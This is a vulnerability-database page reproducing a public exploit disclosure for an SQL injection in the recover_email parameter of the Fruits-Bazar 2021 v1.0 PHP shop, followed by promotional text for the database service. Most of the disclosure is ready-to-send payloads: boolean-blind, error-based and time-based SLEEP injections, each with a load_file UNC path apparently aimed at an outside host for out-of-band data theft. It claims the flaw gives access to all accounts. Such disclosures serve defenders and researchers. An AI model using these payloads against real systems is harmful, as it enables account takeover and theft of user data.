Lucene search
K

Fruits-Bazar 2021 1.0 SQL Injection Vulnerability

🗓️ 30 Jun 2022 00:00:00Reported by nu11secur1tyType 
zdt
 zdt
🔗 0day.today👁 392 Views

Fruits-Bazar 2021 v1.0 SQL Injection Vulnerability in recover_email parameter allows attacker access to all accounts

Code
## Title: Fruits-Bazar 2021 v1.0 SQLi
## Author: nu11secur1ty
## Vendor: https://github.com/creativesaiful
## Software: https://github.com/creativesaiful/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar-
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Md-Saiful-Islam-creativesaiful/2021/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar

## Description:
The recover_email parameter appears to be vulnerable to SQL injection attacks.
The attacker can take access to all accounts on this system.
Status: CRITICAL

[+] Payloads:

```mysql
---
Parameter: recover_email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: [email protected]@[email protected]@[email protected]'+(select
load_file('\\\\[email protected]@[email protected]\\olg'))+''
OR NOT 9177=9177 AND 'HeFM'='HeFM&u_pass_recover=Recover Password

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
    Payload: [email protected]@[email protected]@[email protected]'+(select
load_file('\\\\[email protected]@[email protected]\\olg'))+''
AND (SELECT 6160 FROM(SELECT COUNT(*),CONCAT(0x7178627171,(SELECT
(ELT(6160=6160,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'Mvga'='Mvga&u_pass_recover=Recover Password

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]@[email protected]@[email protected]'+(select
load_file('\\\\[email protected]@[email protected]\\olg'))+''
AND (SELECT 4612 FROM (SELECT(SLEEP(5)))vECZ) AND
'qfSm'='qfSm&u_pass_recover=Recover Password
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/Md-Saiful-Islam-creativesaiful/2021/Ecommerce-project-with-php-and-mysqli-Fruits-Bazar)

## Proof and Exploit:
[href](https://streamable.com/ngodwj)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jun 2022 00:00Current
7.1High risk
Vulners AI Score7.1
392